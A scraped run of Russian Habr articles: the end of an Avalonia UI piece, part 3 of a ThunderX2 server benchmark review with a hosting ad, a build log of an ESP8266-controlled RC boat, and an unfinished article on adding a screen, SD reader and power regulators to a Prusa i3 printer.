Во время реализации проекта было небольшое опасение, что запуск на разных платформах будет «особенным» и что-то «поедет, сломается». Необходимость разных вариантов сборок, имплементации разных форматов интерфейса ну и слегка стереотипное “ UI разработка на Net только технология Windows”. Приятным удивлением стал запуск приложения в два шага и в том, что абсолютно ничего не нужно было менять. Возможно, если усложнить проект и добавить больше функциональности – разница будет заметна: придется придумывать велосипеды, обходные пути, а с некоторыми проблемами Вы можете столкнутся первыми, но в данном приложении все было гладко.
Отдельной особенностью Avalonia является реализация стилей подобных css. В статье данный аспект не рассматривался. В действительности, это очень удобная реализация для стилей приложение в сравнении с классической в WPF/UWP. Если интересно больше прочитать по стили можно обратится к следующим статьям:
* [Стильная Авалония](https://habr.com/ru/post/471046/);
* [Citrus: Набор стилей для Avalonia](https://habr.com/ru/post/487000/);
* [A Cross-Platform GUI Theme for Desktop .NET Core Applications](https://medium.com/swlh/cross-platform-gui-for-dotnet-applications-bbd284709600?source=friends_link&sk=8eca17f8d324b3c6c7b90bb777a9be2d)
Из минусов можно выделить, что на сегодняшний момент полноценная разработка удобнее с плагином для Visual Studio, так как в ней доступен превьюер. Вы также можете разрабатывать на Linux, но без него. Сейчас усилиями сообщества ([ForNeVeR](https://habr.com/ru/users/fornever/)) к Rider ведется разработка плагина к которой может [присоединиться](https://github.com/ForNeVeR/AvaloniaRider) любой желающий.
На этом все, надеюсь данная статьи будем Вам полезна, и Вы найдете что-то новое для себя в ней. В конце хочется выразить благодарности:
* друзьям и коллегам, как первым редакторам;
* [сообществу Авалонии в телеграм](https://t.me/Avalonia).
* пользователям [Larymar](https://habr.com/ru/users/larymar/) и [worldbeater](https://habr.com/ru/users/worldbeater/) за советы и подсказки. | https://habr.com/ru/post/505036/ | null | ru | null |
# Оценка ThunderX2 от Cavium: сбылась мечта об Arm сервере (часть 3)
[Первая](https://habr.com/company/ua-hosting/blog/413885/) и [вторая](https://habr.com/company/ua-hosting/blog/413973/) часть «Оценка ThunderX2 от Cavium: сбылась мечта об Arm сервере».
Производительность Java
-----------------------
SPECjbb 2015 – это тест Java Business Benchmark, который используется для оценки производительности серверов, на которых работают типичные Java-приложения. Он использует новейшие функции Java 7 и XML, messanging with security.
Обратите внимание, что мы обновили версию SPECjbb 1.0 до версии 1.01.
Мы протестировали SPECjbb с четырьмя группами инжекторов транзакций и бэк-эндов. Причина, по которой мы используем тест Multi JVM, заключается в том, что он более приближен к реальным условиям: несколько виртуальных машин на сервере — распространенная практика, особенно на серверах с более 100 потоками. Версия Java — OpenJDK 1.8.0\_161.
Каждый раз, когда мы публикуем результаты SPECjbb, получаем комментарии о том, что наши показатели слишком низкие. Поэтому мы решили потратить немного больше времени и уделить внимание различным настройкам.
1. Настройки ядра, такие как тайминги планировщика задач, очистка кэша страницы
2. Отключение энергосберегающих функций, ручная настройка поведения c-state.
3. Установка вентиляторов на максимальную скорость (потратим много энергии в пользу парочки дополнительных очков производительности)
4. Отключение функций RAS (например, memory scrub)
5. Многочисленные настройки различных параметров Java… Нереально, ведь каждый раз при запуске приложения на разных машинах (что довольно часто происходит в облачной среде) дорогостоящие специалисты должны проводить настройку параметров под конкретную машину, что, к тому же, может привести к остановке приложения на других машинах
6. Настройка очень специфичных для SKU настроек NUMA и привязок ЦП. Миграция между двумя разными SKU в одном кластере может привести к серьезным проблемам с производительностью
В производственных условиях настройка должна быть простой и, желательно, не слишком специфичной для машины. С этой целью мы применили два вида настроек. Первая из них — очень простая настройка для измерения производительности «из коробки», чтобы разместить все на сервере с 128 ГБ оперативной памяти:
`"-server -Xmx24G -Xms24G -Xmn16G"`
Для второй настройки, в поисках наилучшего показателя пропускной способности, играли с «-XX: + AlwaysPreTouch», «-XX: -UseBiasedLocking» и «specjbb.forkjoin.workers». «+ AlwaysPretouch» перед запуском обнуляет все страницы памяти, что снижает влияние производительности на новые страницы. «-UseBiasedLockin» отключает baised блокировку, которая по умолчанию включена. Biased locking отдает приоритет потоку, который уже загрузил contended данные в кэш. Обратная сторона Biased locking — достаточно сложные дополнительные процессы (Rebias), которые могут снизить производительность, в случае неверно выбранной стратегии.
График ниже демонстрирует максимальные показатели производительности для нашего теста MultiJVM SPECJbb.
ThunderX2 достигает показателей от 80 до 85% производительности Xeon 8176. Этого показателя вполне достаточно, чтобы превзойти Xeon 6148. Что интересно, системы Intel и Cavium разными путями достигают своих лучших результатов. В случае Dual ThunderX2 мы использовали:
`'-server -Xmx24G -Xms24G -Xmn16G -XX:+AlwaysPreTouch -XX:-UseBiasedLocking`
В то время как система Intel достигла наилучшей производительности, оставив при этом смещенную блокировку (по умолчанию). Мы заметили, что система Intel — вероятно, из-за относительно «нечетного» количества потоков — имеет немного более низкую среднюю нагрузку на процессор (несколько процентов) и больший L3-кэш, что делает предвзятую блокировку хорошей стратегией для этой архитектуры.
Наконец, у нас есть Critical-jOPS, который измеряет пропускную способность по ограничениям времени ответа.
При активном использовании большого количества потоков вы можете получить значительно больше Critical-jOPS, увеличив распределение ОЗУ на JVM. Удивительно, но система Dual ThunderX2 — с ее более высоким количеством потоков и более низкой тактовой частотой – показывает лучшее время, обеспечивая высокую пропускную способность, сохраняя при этом 99-процентное время отклика на определенный предел.
Увеличение heap size помогает Intel немного закрыть промежуток (до x2), но за счет пропускной способности (от -20% до -25%). Похоже, что чип Intel нуждается в большей настройке, чем в ARM. Чтобы исследовать это дальше, мы обратились к «Transparant Huge Pages» (THP).
Производительность Java: большие страницы
-----------------------------------------
Обычно для ЦП редко кто-то переигрывает другого в factor 3, но мы решились исследовать вопрос глубже. Самым очевидным кандидатом был «Огромные страницы», или как все, кроме сообщества Linux, называет его «Большие страницы» («Large Pages».)
Каждый современный процессор кэширует сопоставления виртуальной и физической памяти в своих TLB. «Обычный» размер страницы составляет 4 КБ, поэтому с 1536 элементами ядро Skylake может кэшировать около 6 МБ на ядро. За последние 15 лет емкость DRAM выросла от нескольких ГБ до сотен ГБ, а следовательно и промахи TLB стали доставлять беспокойство. Промах TLB довольно дорого стоит — необходимо несколько обращений к памяти, чтобы прочитать несколько таблиц и наконец-то найти физический адрес.
Все современные процессоры поддерживают большие страницы. В x86-64 (Intel и AMD) популярная опция — 2 МБ, также доступна 1 ГБ страница. Между тем большая страница на ThunderX2 составляет не менее 0,5 ГБ. Использование больших страниц уменьшает количество промахов TLB (хотя количество записей в TLB обычно значительно ниже для больших страниц), уменьшает количество обращений к памяти, необходимых при промахе TLB.
Тем не менее прошло время, прежде чем Linux поддержал эту функцию удобным для работы способом. Фрагментация памяти, конфликтующие и трудно настраиваемые настройки, несовместимости и особенно очень запутывающие имена вызвали массу проблем. Фактически, многие поставщики программного обеспечения по-прежнему советуют администраторам серверов отключать большие страницы.
С этой целью давайте посмотрим, что произойдет, если мы включим Transparent Huge Pages и сохраним лучшие настройки, которые обсуждались ранее.
В целом, для Max-jOPs влияние производительности не является чем-то захватывающим; на самом деле это небольшой регресс. Xeon теряет около 1% своей пропускной способности, ThunderX2 — около 5%.
Перейдем к рассмотрению метрики Critical-jOPS, где пропускная способность измеряется как 99 процентиль ограничения времени отклика.
Огромное различие! Вместо поражения, система Intel выходит за пределы показателей ThunderX2. Тем не менее следует сказать, что производительность с 4 КБ страницами, по-видимому, является серьезной слабостью в архитектуре Intel.
Apache Spark 2.x Бенчмаркинг
----------------------------
Последний в списке, но не по значению, нашем арсенале есть тест Apache Spark. Apache Spark является детищем Big Data processing. Ускорение приложений Big Data остается приоритетным проектом в университетской лаборатории, в которой я работаю (лаборатория Sizing Servers Lab University University of West-Flanders), поэтому мы подготовили ориентир, который использует многие функции Spark и основан на использовании в реальном мире.
Тест описан на схеме выше. Мы начинаем с 300 ГБ сжатых данных, собранных из CommonCrawl. Эти сжатые файлы представляют собой большое количество веб-архивов. Мы разархивируем данные «на лету», чтобы избежать длительного ожидания, которое в основном связано с устройством хранения. Затем мы извлекаем значимые текстовые данные из архивов, используя библиотеку Java «BoilerPipe». Используя Инструмент обработки естественного языка Stanford CoreNLP, мы извлекаем из текста сущности («слова, которые означают что-то»), а затем подсчитываем, какие URL-адреса имеют наибольшее вхождение этих объектов. Алгоритм Alternating Lessest Square используется, чтобы рекомендовать, какие URL-адреса являются наиболее интересными для определенного субъекта.
Чтобы добиться лучшего масштабирования, мы запускаем 4 исполнителя. Исследователь Эсли Хейваерт переконфигурировал тест Spark, чтобы он мог работать на Apache Spark 2.1.1.
Вот результаты:
(\*) EPYC и Xeon E5 V4 являются более старыми, работают на Kernel 4.8 и немного старшей Java 1.8.0\_131 вместо 1.8.0\_161. Хотя мы ожидаем, что результаты будут очень похожими на ядре 4.13 и Java 1.8.0\_161, поскольку мы не увидели большой разницы в Skylake Xeon между этими двумя настройками.
Обработка данных очень параллельна и очень интенсивно нагружает процессор, но для фаз «тасования» требуется много взаимодействий с памятью. Время, затрачиваемое на коммуникацию с устройством хранения, незначительно. Фаза ALS не масштабируется по многим потокам, но составляет менее 4% от общего времени тестирования.
ThunderX2 обеспечивает 87% производительности от вдвое более дорогого EPYC 7601. Так как этот показатель хорошо масштабируется с количеством ядер, мы можем оценить, что Xeon 6148 наберет около 4.8. на Apache Spark Таким образом, в то время как ThunderX2 не может реально угрожать Xeon Platinum 8176, он дает то же, что и Gold 6148 и его брат за куда меньшие деньги.
И что же в итоге
----------------
Подытожив все, наши тесты SPECInt показывают, что ядра ThunderX2 все еще имеют некоторые недостатки. Наше первое негативное впечатление заключается в том, что код интенсивного ветвления — особенно в сочетании с обычными промахами L3-кэша (высокая задержка DRAM) — работает довольно медленно. Таким образом, будут частные случаи, когда ThunderX2 не лучший выбор.
Однако, помимо некоторых нишевых рынков, мы вполне уверены, что ThunderX2 станет солидным исполнителем. Например, измерения производительности, выполненные нашими коллегами из Бристольского университета, подтверждают наше предположение, что интенсивные рабочие нагрузки HPC, такие как OpenFoam (CFD) и NAMD.run, действительно хорошо работают на ThunderX2
По итогам раннего тестирования программного обеспечения сервера, которое мы успели сделать, мы можем быть приятно удивлены. Производительность за доллар ThunderX2 как на Java Server (SPECJbb), так и на обработке больших данных — сейчас — безусловно, лучшая на рынке серверов. Мы должны повторно протестировать процессор AMD EPYC и золотую версию нынешнего поколения (Skylake) Xeon, но при этом 80-90% производительности процессора 8176 за одну четверть его стоимости будет очень сложно превзойти.
В качестве дополнительной выгоды для Cavium и ThunderX2, нужно упомянуть, что в 2018 году экосистема Arm Linux уже зрелая; специализированные ядра Linux и другие инструменты больше не нужны. Вы просто устанавливаете сервер Ubuntu, Red Hat или Suse, и вы можете автоматизировать развертывание и установку программного обеспечения из стандартных хранилищ. Это значительное улучшение по сравнению с тем, что мы пережили, когда был запущен ThunderX. Еще в 2016 году простая установка из обычных хранилищ Ubuntu могла вызвать проблемы.
Итак, в целом, ThunderX2 является очень мощным соперником. Это может быть даже более опасно для EPYC AMD, чем для Skylake Xeon от Intel благодаря тому, что и Cavium и AMD конкурируют за одну и ту же группу клиентов, учитывая возможность отказа от Intel. Это связано с тем, что клиенты, которые инвестировали в дорогостоящее корпоративное программное обеспечение (Oracle, SAP), менее чувствительны к стоимости на стороне оборудования, поэтому они значительно реже переходят на новую аппаратную платформу. И эти люди инвестировали последние 5 лет в Intel, поскольку это был единственный вариант.
Это, в свою очередь, означает, что те, кто является более гибким и чувствительным к цене, например, хостинг и облачные провайдеры, теперь смогут выбрать альтернативный сервер Arm с отличным соотношением «производительность за доллар». И с HP, Cray, Pengiun, Gigabyte, Foxconn и Inventec, предлагающими системы, основанные на ThunderX2, нет недостатка в качественных поставщиках.
Короче говоря, ThunderX2 является первым SoC, который способен конкурировать с Intel и AMD на рынке серверов центрального процессора. И это приятный сюрприз: наконец, появилось решение для серверов Arm!
Спасибо, что остаетесь с нами. Вам нравятся наши статьи? Хотите видеть больше интересных материалов? Поддержите нас оформив заказ или порекомендовав знакомым, **30% скидка для пользователей Хабра на уникальный аналог entry-level серверов, который был придуман нами для Вас:** [Вся правда о VPS (KVM) E5-2650 v4 (6 Cores) 10GB DDR4 240GB SSD 1Gbps от $20 или как правильно делить сервер?](https://habr.com/company/ua-hosting/blog/347386/) (доступны варианты с RAID1 и RAID10, до 24 ядер и до 40GB DDR4).
**Dell R730xd в 2 раза дешевле?** Только у нас **[2 х Intel Dodeca-Core Xeon E5-2650v4 128GB DDR4 6x480GB SSD 1Gbps 100 ТВ от $249](https://ua-hosting.company/serversnl) в Нидерландах и США!** Читайте о том [Как построить инфраструктуру корп. класса c применением серверов Dell R730xd Е5-2650 v4 стоимостью 9000 евро за копейки?](https://habr.com/company/ua-hosting/blog/329618/) | https://habr.com/ru/post/413983/ | null | ru | null |
# RC-лодка на ESP8266 NodeMCU
Примерно полгода мне понадобилось, чтобы собрать такую лодку на дистанционном управлении.
Я расскажу про процесс разработки с самого начала: от лодки из потолочной плитки, гелевой ручки и консервной банки до модели из пластика, которую не стыдно подарить.
Если интересно, какие шишки мне пришлось набить, прошу под кат!
> Осторожно! Под катом много картинок!
>
>
>
>
**Тут можно сразу посмотреть, что получилось в итоге**
Оглавление
----------
* Зачем?
* Какой должна быть лодка?
* Прототип дистанционного управления 1.0
* Прототип дистанционного управления 2.0
* Тестирование дальности приёма
* Немного теории и материалов
* Версия 1.x
* Версия 2.x
* Версия 3.x
* UI клиента
* Заключение
Зачем?
------
Ещё с детства у меня было особое желание собрать модель на дистанционном управлении.
Неважно, какую. Главное — собрать самому.
После знакомства с Arduino я начал смотреть другие контроллеры и наткнулся на ESP8266 NodeMCU. Прочитал про него и понял, что на его основе смогу осуществить задуманное.
Дело было в марте. У моего друга день рождения летом, и я решил, что за такой большой срок точно успею собрать лодку и подарить ему (спойлер: я опоздал на месяц).
Он любитель рек и озёр, так что выбор водного транспортного средства в качестве модели был очевиден.
Какой должна быть лодка?
------------------------
Итак, я решил сделать лодку на дистанционном управлении.
**Как я представлял себе готовую модель**
Электронные компоненты:
* ESP8266 NodeMCU;
* сервопривод SG90 для руля (самый простой и дешёвый);
* бесщёточный мотор (быстрый и мощный);
* powerbank для питания мотора и контроллера (удобно заряжать и можно использовать не только для лодки);
* 3 светодиода (удобно дебажить):
+ питание на контроллер,
+ подключение клиента к WebSocket серверу,
+ получение команды от клиента.
Материалы:
* потолочная плитка в качестве основного материала корпуса (с ней легко работать, она недорогая и продаётся в любом строительном магазине);
* эпоксидка или что-то подобное для укрепления корпуса в перспективе;
* руль из жести (с материалом легко работать и он довольно надёжный);
* дейдвуд из велосипедной спицы, пары подшипников и какой-то трубы (самый простой и дешёвый способ);
* клеевой пистолет для скрепления всех деталей (потому что с клеевым пистолетом всё становится лучше).
Управлять лодкой я хотел со смартфона: удобно, ведь он всегда заряжен и под рукой.
Прототип дистанционного управления 1.0
--------------------------------------
Для начала собрал простой прототип машинки из LEGO, деталей от других поделок с Arduino и powerbank'а.
На ESP8266 NodeMCU я поднял:
* Wi-Fi точку со статичным IP-адресом, куда можно подключиться со смартфона;
* HTTP-сервер:
+ отдача HTML-страницы с 5 кнопками, чтобы можно было управлять машинкой;
+ API для управления машинкой от кнопок с HTML-страницы.
*Схема подключения*
*Первый прототип*
Отлично, оно работает!
Прототип дистанционного управления 2.0
--------------------------------------
Управлять кнопками не очень-то удобно, поэтому я переделал интерфейс и стал управлять прикосновениями к определёнными частям экрана.
При таком интерфейсе приходилось часто слать запросы серверу, поэтому я добавил WebSocket сервер на ESP8266 NodeMCU и передавал команды уже по установленному с сервером соединению.
*Схема подключения*
*Второй прототип*
*Пример управления*
Подробно про то, как собрать такую машинку, я писал [тут](https://vc.ru/dev/160142-rc-mashinka-iz-esp8266-nodemcu-i-lego).
Немного теории и материалов
---------------------------
Прежде чем перейти непосредственно к тексту про создание лодки, я должен вкратце рассказать, из чего она состоит.
*Картинка взята [тут](http://sudomodeli.masteraero.ru/kater_model-8.php)*
Основные части, про которые я буду говорить, выделены синим цветом:
1 — перо руля/руль,
2 — винт,
3 — дейдвуд,
4 — тут должна быть муфта,
5 — мотор.
**Основные материалы, которыми я вдохновлялся и пользовался**
Книги:
Больше всего нужного мне материла я нашёл в книге John Finch. "Advanced R/C boat modeling". Смотрел и другие, но зашла именно эта.
Cтатьи:
* <https://www.instructables.com/RC-Boat-2>
* <https://habr.com/en/post/367731>
* <http://www.parkflyer.ru/ru/blogs/view_entry/600>
Видеокурс [как сделать ракетный катер](https://www.youtube.com/watch?v=dFc1KUHF7-s&list=PLGL_lVjhxY8eKivkT19brQz_dBuW9ueWr)
Тестирование дальности приёма
-----------------------------
Чтобы проверить, на какую дальность можно рассчитывать в управлении, собрал вот такую штуку:
На клиенте можно запустить `ping/pong` тест к WebSocket серверу с замером времени ответа.
В таблицу выводится количество запросов/ответов и перцентиль времени ответа.
Походив по парку при прямой видимости, понял, что приемлемая для меня связь между такой поделкой и моим смартфоном держится на расстоянии не более 27 метров (расстояние потом проверял по картам).
27 метров: 95 перцентиль ~ 48 миллисекунд, 99 перцентиль ~ 283 миллисекунды.
*Интерфейс клиента для тестирования дальности приёма*
Вот [тут](https://github.com/mrsuh/esp8266-distance-test) можно взять код и провести эксперимент самому.
**Версия 1.0**
Электронные компоненты:
* ESP8266 NodeMCU,
* L298N,
* Servo SG90,
* щёточный двигатель TT130,
* powerbank,
* трёхцветный светодиод.
Материалы:
* корпус из потолочной плитки,
* руль из консервной банки,
* дейдвуд из гелевой ручки и деревянной шпажки склеен клеевым пистолетом,
* винт куплен на aliexpress.
Особенности версии:
* руль расположен впритык к корпусу лодки;
* угол основного вала относительно корпуса лодки довольно большой, и дейдвуд выходит под дном лодки;
* дейдвуд нещадно протекает.
У меня была рабочая схема дистанционного управления, так что можно было заняться корпусом.
Чтобы собрать корпус лодки, я использовал чертежи из статьи [Francisco Moliner](https://www.instructables.com/id/RC-Boat-2)
Распечатал их, склеил и вырезал из потолочной плитки.
Пока я собирал корпус и думал о том, из чего же делать дейдвуд, ко мне приехал бесщёточный двигатель A2212 1000KV.
По неопытности я заказал двигатель для коптеров:
* крутится не только вал двигателя, а сам двигатель относительно основания (как его крепить на лодку?);
* специфичный контроллер двигателя.
Я неделю промучился с этим двигателем.
У меня получилось запустить мотор, но при резком изменении напряжения (быстро повысил или понизил скорость) двигатель отключался и контроллер перезагружался.
Думаю, что это из-за небольшой мощности питательного элемента (powerbank).
В конце концов я решил отказаться от него в пользу более мощного щёточного двигателя.
*Тщетно пытаюсь настроить стабильную работу мотора*
*Сборка идёт полным ходом*
Первый тестовый спуск на воду
Я понял, что у меня получится сделать хороший прототип, но он будет непрезентабельный.
Решил, что настала пора заказать 3D-принтер, который уже давно хотелось опробовать.
**Версия 1.1**
Особенности версии:
* добавил крышу, чтобы в лодку сверху не могла попасть вода (всё равно заклеивал верх скотчем во время испытаний);
* немного вынес руль от корпуса лодки, чтобы улучшить управление;
* уменьшил угол наклона основного вала, чтобы увеличить мощность лодки;
* дейдвуд из гелевой ручки, прута от зонта и технического масла (почти не протекает);
* заменил L298N на L298N mini (размер меньше, в данной версии разницы особой не было);
* скорость лодки не регулируется;
* новый мотор R280 3-12v 5000-15000 rpm намного мощнее предыдущего.
Для управления скоростью мотора я использовал L298N, но при этом терял почти половину мощности.
Это особенность использования ШИМ или сама схема так сделана — точно не знаю.
Я решил отказаться от управления скоростью. В итоге использовал L298N, но без управления ШИМ, что дало большой прирост мощности мотора.
Первый спуск на воду
--------------------
К сожалению, я выбрал самый близкий, но очень заросший пруд.
Проплыв всего полтора метра, лодка намотала водоросли на вал винта и перестала слушаться управления.
Спустя десять минут, используя несколько веток, склеенных скотчем в одну большую, мы смогли достать пострадавшую из воды.
Вот первые фото лодки, но уже после того заплыва:
*Не самый чистый пруд Питера*
*Хорошо видно, как расположены руль и винт*
*Видно, как водоросли намотались на вал*
Лодка всё ещё немного протекала, поэтому пришлось искать место течи.
*Cинюю жижицу отлично видно на белом фоне*
**Версия 1.2**
Особенности версии:
* установил защиту для винта от водорослей,
* увеличил площадь пера руля,
* сменил пруд.
*Очищенная от грязи лодка выглядит намного лучше*
*Увеличена площадь руля*
*Добавлена защита от водорослей*
Первый удачный спуск на воду:
**Версия 1.3**
Особенности версии:
* длина лодки уменьшена в полтора раза.
Внезапно я понял, что на лодку уйдет много пластика, поэтому решил сделать её немного короче.
Чтобы посмотреть, как будет выглядеть укороченная версия, переделал уже имеющийся корпус.
**Версия 2.0**
Электронные компоненты:
* ESP8266 NodeMCU,
* L298N,
* Servo SG90,
* щёточный двигатель R370 3-12v 10000-41000 rpm,
* powerbank,
* трёхцветный светодиод.
Материалы:
* корпус из потолочной плитки;
* руль из пластика;
* дейдвуд из пластика, прута от зонта и подшипников.
Особенности версии:
* смоделировал и распечатал руль, дейдвуд и муфту;
* использовал новый мотор R370 3-12v 10000-41000 rpm;
* вынес винт и руль дальше от лодки;
* собрал корпус с новыми габаритами;
* убрал защиту для винта от водорослей.
Приехал 3D-принтер!
*Посылка из Китая пришла в отличном состоянии*
*Процесс сборки затянулся примерно на 6 часов*
*Пробная печать*
*Печать дейдвуда и муфты*
*Новый корпус выглядел аккуратно*
Отлично работает!
Но было непонятно, что делать с отверстием, в которое попадает вода:
**Версия 3.0**
Электронные компоненты:
* ESP8266 NodeMCU,
* L298N,
* Servo SG90,
* щёточный двигатель R370 3-12v 10000-41000 rpm,
* powerbank,
* 3 светодиода.
Материалы:
* корпус из пластика;
* руль из пластика;
* дейдвуд из пластика, прута от зонта и технического масла.
Особенности версии:
* весь корпус из пластика.
До этого работал только в `Компас 3D` для моделирования несложных моделей, но принципы во `Fusion360` примерно те же.
Пришлось несколько выходных позаниматься, чтобы понять, как оптимально строить такие модели.
Спустя пару недель первая пригодная версия модели корпуса лодки была готова!
Разделил корпус на несколько частей и начал печатать.
Не особо разбирался с настройками печати, поэтому качество не очень.
*Нос лодки*
*Корма лодки*
*Верх лодки*
*Процесс сборки корпуса*
*Готовый корпус*
Также смоделировал и распечатал руль.
Решил проблему с отверстием для управления пером руля (видно на фото). В результате вода почти перестала попадать через него внутрь лодки.
*Одна из финальных версий*
*Один трёхцветный светодиод заменил на 3 разных*
Новый мотор периодически не включался с первого раза, и это ооочень раздражало и расстраивало.
Решил, что это опять связано с мощностью питательного элемента (powerbank), поэтому экспериментировал с обычными батарейками АА. С ними вроде стало получше.
*Эксперимент с батарейками AA*
Внезапно понял, что, скорее всего, у меня в powerbank'е стоит несколько аккумуляторов и я могу их соединить так, как нужно мне.
Разобрал powerbank иии… нет, там всего один элемент...
*Всего один элемент в powerbank*
Решил, что нужно заказать аккумуляторы.
**Версия 3.1**
Особенности версии:
* вместо powerbank'a установлены 4 аккумулятора 18650 (2 для контроллера и 2 для мотора);
* смоделированы и распечатаны отсеки для аккумуляторов;
* мотор начал работать стабильно.
Наконец-то!
Отсеки для новых аккумуляторов:
*Контакты по-прежнему из консервных банок*
*Отсеки вклеены в лодку*
**Версия 3.2**
Особенности версии:
* вал в дейдвуде заменён на велосипедную спицу (больше диаметр и длина).
*Нельзя просто так взять и заменить уже вклеенный дейдвуд*
**Версия 3.3**
Особенности версии:
* переделал муфту на более гибкий вариант;
* обратно поставил L298N, он должен выдерживать бОльшие токи.
*Часть гибкой муфты*
*Полный комплект новой версии*
*Весь корпус и основные детали из пластика!*
Первый спуск на воду версии 3.x
При реальных испытаниях стало понятно, что дистанция, на которой держится хорошая связь между смартфоном и лодкой, примерно в три раза меньше, чем при тестах (27 метров против ~10 метров).
Несколько раз соединение с лодкой терялось на середине пруда, и нам приходилось ждать, пока ветерок подтолкнёт её к одному из берегов, где к ней снова можно было подключиться и начать управлять.
После таких казусов был введён параметр **Emergency timeout**, который можно настроить на клиенте (по умолчанию — 4 минуты). Он передаётся серверу с каждой командой. Если за этот таймаут лодке не приходили команды, то она начинала неспешно двигаться вперёд, в закат. На небольшом пруду это была отличная стратегия. В море такой таймаут лучше убрать)
Вспомнил, что отказался от бесщёточного двигателя как раз из-за слабых питательных элементов.
Попробовал подключить их к аккумуляторам 18650, и всё заработало как надо!
Из-за того, что бесщёточный двигатель предназначен для коптера, то просто так горизонтально установить его не получится (крутится весь двигатель, кроме основания).
Поэтому смоделировал и напечатал подложку для него.
*Первая версия подложки*
*Подложка подошла идеально*
Первая версия подложки для двигателя отлично подходила к нему, но плохо вписывалась в корпус лодки, так что пришлось ещё немного поэкспериментировать с её формой.
Спустя 2-3 распечатанных модели наконец-то получилось сделать подложку, которая хорошо помещалась внутри лодки и не мешала работе двигателя.
*Весь вал в сборке от мотора до винта*
**Версия 3.4**
Особенности версии:
* установлен бесщёточный двигатель A2212 1000KV,
* смоделирована и распечатана подложка для двигателя.
*Вклеил двигатель и тестировал его отдельно*
*Полный комплект новой версии*
*Собранная версия*
Взвесил лодку в полной комплектации:
*В полной комплектации лодка весит 626 грамм*
**Версия 3.5**
Особенности версии:
* проклеил верх резинками, чтобы крышка прилегала плотно;
* добавил ещё два отверстия для винтов в крышке, опять-таки, чтобы она прилегала плотно;
* проклеил места креплений мотора и аккумуляторов суперклеем.
*Проклеил верх резинками*
Финальный вариант:
Финальное видео версии 3.5
UI клиента
----------
*При свёрнутом меню настроек для управления доступна почти вся область экрана*
Настройки:
* **Auto move** (on/off) — во включённом состоянии скорость не регулируется и задаётся в параметре **Speed**.
* **Speed** (%) — используется в связке с параметром **Auto move**.
* **Move interval** (ms) — интервал, через который будут отправляться команды с клиента. Мы не можем отправлять команды очень редко: тогда управление лодки будет происходить с большой задержкой. Очень маленькую задержку мы ставить тоже не можем, потому что контроллер не будет успевать обрабатывать запросы. По умолчанию — 50 миллисекунд.
* **Move timeout** (ms) — интервал, через который лодка поймёт, что новые команды ей больше не приходят. Некоторые команды доходят до контроллера с задержкой, то есть между командами есть паузы больше, чем в параметре **Move interval**. Чтобы движение при этом оставалось плавным, был введён параметр **Move timeout**. Лодка будет выполнять последнюю команду **Move timeout** миллисекунд. По умолчанию — 600 миллисекунд.
* **Emergency timeout** (ms) — если за таймаут не приходят команды, то лодка начинает неспешно двигаться вперёд. По умолчанию — 4 минуты.
* **Debug** (on/off) — включение дебага, при котором отображаются подробные ошибки подключения и все команды.
Все таймауты отправляются серверу в каждой команде, поэтому настроить их можно в любой момент.
*Управление направлением*
*Управление скоростью*
Итоги
-----
Весь процесс растянулся примерно на полгода. Дорабатывать и улучшать модель можно было бы ещё очень долго. Я решил остановиться на достигнутом результате.
Другу подарок понравился, так что я доволен вдвойне)
Исходники 3D-моделей и кода лодки [тут](https://github.com/mrsuh/boat-esp8266).
Исходники кода тестов дальности [тут](https://github.com/mrsuh/esp8266-distance-test).
Спасибо за внимание!
P.S. Большое спасибо моей девушке за поддержку и ведение фото- и видеоотчетов. | https://habr.com/ru/post/513482/ | null | ru | null |
# Работа 3D принтера без компьютера
Здравствуйте, уважаемые хабравчане!
Вот и закончился мой переезд, кандидатский минимум сдан, первая катушка пластика закончилась и пришло время написать обещанную статью об электронной начинке моего принтера.
В этой статье речь пойдет об автоматизации моего 3D принтера PRUSA I3, а именно о подключении экрана, кнопок (вместо энкодера) и картридера ну и системы питания для всей дополнительной электроники.
За подробностями прошу под кат.
Хотелось бы сразу оговориться, что элементы на данные платы я брал из своих запасов. То, что было под рукой.
##### Начнем, пожалуй, с питания.
Тут все просто. Стабилизатор на 5 вольт (я взял L7805CV с выходным током до 1,5А) для питания ардуины и дисплея. Обвязка — два конденсатора. Стабилизатор подключается к 12 вольтам. От него через резистор подключаем светодиод для индикации работы. Стабилизатор напряжения на 3.3 вольта (LD1117A33 с выходным током до 1А) для питания SD карты подключается к 5 вольтам. Обвязка так же — два конденсатора (ну и по аналогии светодиод через резистор).
Конкретные значения для конденсаторов выбираются по спецификации стабилизаторов, значения резисторов по току потребления диодов и напряжения питания (ну или опытным путем).
На RAMPS’е есть место для пайки диода D1. При его подключении на пин Vin ардуины подается 12 вольт и идет в стабилизатор на ардуине. Поначалу я его припаял, и все вместе даже работало, но через несколько минут принтер просто выключился и без подключения USB кабеля его было не включить (наверное, стабилизатор перегрелся или сгорел). Поэтому было решено выпаять диод и подключить внешний стабилизатор.
##### Картридер
Для питания карты памяти нужно 3.3 вольта, логические уровни карты тоже 3.3 вольта. В готовых модулях под названием SDRamps используется стабилизатор (его мы уже собрали) и микросхема преобразователя уровней (5->3.3). Так как такой микросхемы у меня не было, поэтому было решено использовать обычный резистивный делитель.
Карта подключается в режиме SPI. Используются: 3 линии SCK, CS, MOSI от ардуины к карте через делители; линия MISO напрямую с карты к ардуине; так же подключается питание 3.3 вольта; земля; и еще я подключил детектор наличия карты. Картхолдер был выпаян со старого смартфона, но можно использовать переходник SD-microSD (но у него отсутствует детектор наличия карты).
##### Экран
Подойдет любой символьный дисплей, начиная от 2 строк на 16 символов. Чем больше строк, тем больше данных на нем можно отобразить. Так же можно подключить графический дисплей SPI LCD 128x64 (Controller ST7565R graphic Display Family). Подключаем по схеме описанной [тут](http://reprap.org/wiki/RAMPS_LCD). 4 линии данных, RS, Enable, 5 вольт, земля и подстроечный резистор на 10кОм для регулирования контраста.
##### Кнопки
Так как энкодера у меня не нашлось, решил обойтись кнопочным интерфейсом. Подойдут любые 3 кнопки. Правда, прийдется править прошивку, но об этом чуть позже.
##### Мосфет на нагреваемый столик
Как я уже упоминал в прошлой статье, этот самый мосфет сильно греется из-за неправильной работы. Я заменил его на APM2509N, взятый с видеокарты. Так же были нарощены дорожки питания столика. Скальпелем аккуратно срезано лаковое покрытие и пропаяно толстым слоем припоя. Предыдущий мосфет грелся так, что через 30-50 минут об него можно было обжечь палец. А новый максимально нагревался до 38 градусов за 6 часовую печать. И да, мосфет стоит без радиатора.
Столик теперь нагревается до 100°С за 15-17 минут (раньше минут за 30). Да и светодиод на столике стал светить как-то ярче (а может это только кажется).
##### Подключаем
Выход со стабилизатора 5 вольт подключаем к любому пину 5V на RAMPS'е.
